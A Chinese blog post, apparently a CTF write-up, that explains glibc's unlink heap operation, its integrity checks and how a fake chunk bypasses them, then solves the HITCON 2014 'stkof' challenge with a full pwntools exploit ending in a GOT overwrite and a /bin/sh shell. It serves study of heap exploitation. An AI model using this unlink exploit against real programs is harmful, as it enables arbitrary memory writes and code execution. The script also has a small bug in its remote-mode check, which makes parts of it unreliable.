Unlink详解

一、 Unlink介绍

Unlink被定义为一个宏(高版本libc中被定义为了静态函数 unlink_chunk),其源码如下

/* 
 * 从双向链表中安全移除节点P的宏
 * AV: 分配区指针,用于错误处理
 * P: 要移除的节点指针
 * BK: 临时存储后驱节点指针
 * FD: 临时存储前驱节点指针
 */
#define unlink(AV, P, BK, FD) {                                            
    /* 获取P的前驱和后继节点 */                                      
    FD = P->fd;								      
    BK = P->bk;								      
    
    /* 验证前后节点指针的完整性:前驱的后继和后继的前驱必须都指向P */
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    
    /* 链表完整性验证通过,执行移除操作 */      
    else {								      
        /* 基本链表操作:让前驱和后继互相指向,跳过P */  
        FD->bk = BK;							      
        BK->fd = FD;							      
        
        /* 处理非small bin的特殊情况(large bins可能有额外的大小链表) */
        if (!in_smallbin_range (P->size)				      
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      
            /* 检查大小链表的完整性 */
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
	      malloc_printerr (check_action,				      
			       "corrupted double-linked list (not small)",    
			       P, AV);					      
            
            /* 如果后继节点的大小链表指针为空,需要重建 */      
            if (FD->fd_nextsize == NULL) {				      
                /* 情况1:P是唯一节点,让后继节点自环 */      
                if (P->fd_nextsize == P)				      
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      
                /* 情况2:将P的大小链表指针转移给后继节点 */
                else {							      
                    FD->fd_nextsize = P->fd_nextsize;			      
                    FD->bk_nextsize = P->bk_nextsize;			      
                    P->fd_nextsize->bk_nextsize = FD; /* 更新后节点的后驱 */      
                    P->bk_nextsize->fd_nextsize = FD; /* 更新前节点的前驱 */      
                  }							      
              } 
            /* 如果后继已有大小链表指针,直接跳过P */      
            else {							      
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      
              }								      
          }								      
      }									      
}

Unlink是堆管理中的一个操作,用于将一个chunk从双向链表中取出。触发unlink,往往是通过free物理相邻的下一块chunk,检查到该chunk的上一块处于free状态(size的prev_inuse为0),就用unlink将上一块脱链后合并。

实现过程如下图。(图画的丑陋,别喷)
image
当我们执行Unlink将chunk2从双向链表中取出的时候,这个双向链表就变成下面这个样子。
image

漏洞点: 如果我们可以伪造chunk2,通过控制fd和bk的值,我们似乎就可以实现任意地址写。
但是事情并非如此简单,通过上面给出的源码可以看到,Unlink内部做了许多保护和限制,下面我们就来研究这些保护以及限制。

二、 保护和限制

1. chunksize(P) == prev_size(next_chunk(P))

这部分检测源码如下:

/* 获取下一个块的指针 */
nextchunk = chunk_at_offset(p, size);
/* 检查下一个块的prev_size是否等于当前块size */
if (__builtin_expect(nextchunk->prev_size != size, 0))
    malloc_printerr("corrupted size vs. prev_size");

这部分检测检查的是下一个chunk的prev_size是否和当前堆块的prev_size相等(这是free函数中的检测)

2. fd->bk == P && bk -> fd == P

这部分检测源码如下:

  /* 验证前后节点指针的完整性:前驱的后继和后继的前驱必须都指向P */
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    
    /* 链表完整性验证通过,执行移除操作 */      
    else {								      
        /* 基本链表操作:让前驱和后继互相指向,跳过P */  
        FD->bk = BK;							      
        BK->fd = FD;							     

其实就是在检测这个双向链表的结构是否完整。

3. not small

这部分检测源码如下:

  /* 处理非small bin的特殊情况(large bins可能有额外的大小链表) */
        if (!in_smallbin_range (P->size)				      
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      
            /* 检查大小链表的完整性 */
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
	      malloc_printerr (check_action,				      
			       "corrupted double-linked list (not small)",    
			       P, AV);					      

简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

三、 适用场景及绕过方法

适用场景(一般来说)

  1. 有一个list专门用于存户malloc得到的指针
  2. 存在溢出漏洞

保护绕过(以上面讲的适用场景为例)

保护1
通过溢出,对下一个堆块进行修改,使得下一个堆块的prev_size = fackchcunk的size,prev_inuse = 0
保护2
对于保护2,可以通过构造facck chunk来绕过。
chunk_list存在的时候,我们做以下构造
fack chunk的fd指向 存放当前堆块指针的地址 -0x18(bk指针相对于chunk头的偏移是0x18)
fack chunk的bk指向 存放当前堆块指针的地址 -0x10(fd指针相对于chunk头的偏移是0x10)
这样就实现了 fack_chunk的fd指向的“chunk”的bk指向它,fack_chunk的bk指向的“chunk”指向它,从而成功绕过检测。

fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10

保护3
更简单了,直接不申请largebin大小的chunk即可。

四、 例题分析

题目来源:[2014_hitccon_stkof]
先检查一下保护,看一下文件的ELF信息

可以看到是64位小端序,开启了canary和nx,got表可写
image

丢到ida里面看一看(为了方便查看,改了一些函数和变量的名字)
main函数
image

creat函数
image

delete函数
image

edit函数
image

还有一个没什么用的函数,这里就不管他了。
image

通过分析程序的主要函数,我们发现申请的堆块的指针都在存放在bss段的一个数组(后面叫做list)中,并且edit函数输入的字节数目由我们自己控制,所以存在溢出。所以这道题可以用unlink来做。
image
前置准备:

def cmd(choicce):
    p.sendline(str(choicce).encode())

def add(size):
    cmd(1)
    p.sendline(str(size).encode())

def edit(index,size,content):
    cmd(2)
    p.sendline(str(index).encode())
    p.sendline(str(size).encode())
    p.send(content)

def delete(index):
    cmd(3)
    p.sendline(str(index).encode())

所以思路就很清晰了:
我们先申请四个堆块(第一个用后续操作,第二个就是我们用来制作fack chunk的,第三个用来触发unlink,堆块四用来chunk防止与top chunk合并)

    add(0x80)# 1
   
    p.recvuntil(b'OK\n')
    add(0x80)# 2
    
    p.recvuntil(b'OK\n')
    add(0x80)# 3
   
    p.recvuntil(b'OK\n')
    add(0x20)# 4

然后通过edit第二个堆块来制造fack chunk并溢出到第三个堆块,修改他的prev_size和prev_inuse

    chunks =  0x602140
    aim = chunks + 0x10#chunk2_addr
    fd = aim - 0x18
    bk = aim - 0x10
    
    #fake_chunk
    p.recvuntil(b'OK\n')
    payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
    edit(2,0x90,payload1)

此时,chunk2内存是这样的
image

接着free第三个堆块触发unlink,这个时候原来存放第二个堆块的指针(list[2])的位置就被写入了 &list -0x8
image

后面我们就可以通过edit堆块2去修改list中存放的值,我们将chunk_list[1]、chunk_list[2]、chunk_list[3]的值分别改为free、puts、atoi的got表地址
然后通过edit堆块1,实现修改free_got为 puts_plt ,然后free堆块2就能泄露puts函数的真实地址,据此算出libc_base
然后edit堆块3将atoi_got改为system的地址,最后输入/bin/sh就能getshell

完整的exp如下

from pwn import *
context(log_level='debug' , os = 'linux', arch = 'amd64')
pwnfile = './pwn'

elf = ELF(pwnfile)
libc = elf.libc

is_remote = 0

if (remote):
    p = remote('node5.buuoj.cn', 26221)
else:
    p = process(pwnfile)
def cmd(choicce):
    p.sendline(str(choicce).encode())

def add(size):
    cmd(1)
    p.sendline(str(size).encode())

def edit(index,size,content):
    cmd(2)
    p.sendline(str(index).encode())
    p.sendline(str(size).encode())
    p.send(content)

def delete(index):
    cmd(3)
    p.sendline(str(index).encode())

if __name__ == '__main__':

    chunks =  0x602140
    aim = chunks + 0x10

    fd = aim - 0x18
    bk = aim - 0x10
    
    puts_plt = elf.plt['puts']
    free_got = elf.got['free']
    fread_got = elf.got['fread']
    puts_got = elf.got['puts']
    atoi_got = elf.got['atoi']
    
    add(0x80)#
   
    p.recvuntil(b'OK\n')
    add(0x80)#
    
    p.recvuntil(b'OK\n')
    add(0x80)#
   
    p.recvuntil(b'OK\n')
    add(0x20)# 

    #gdb.attach(p)
    #fake_chunk
    
    p.recvuntil(b'OK\n')
    payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
    edit(2,0x90,payload1)
    
    p.recvuntil(b'OK\n')
    delete(3)

    p.recvuntil(b'OK\n')
    payload2 = b'a'*0x10 + p64(free_got) + p64(puts_got) + p64(atoi_got) 
    edit( 2 , len(payload2) , payload2)

    p.recvuntil(b'OK\n')
    edit( 1 , 0x8 , p64(puts_plt))

    
    p.recvuntil(b'OK\n')
    delete(2)

    puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
    success("puts_addr: " + hex(puts_addr))

    libc_base = puts_addr - libc.symbols['puts']
    success("libc_base: " + hex(libc_base))

    system_addr = libc_base + libc.symbols['system']
    success("system_addr: " + hex(system_addr))

    #gdb.attach(p)
    p.recvuntil(b'OK\n')
    edit( 3 , 0x8 , p64(system_addr))
    
    pause()
    p.sendline(b'/bin/sh\x00')
    p.interactive()

posted on 2025-03-11 20:53  丶落雪  阅读(229)  评论(1)    收藏  举报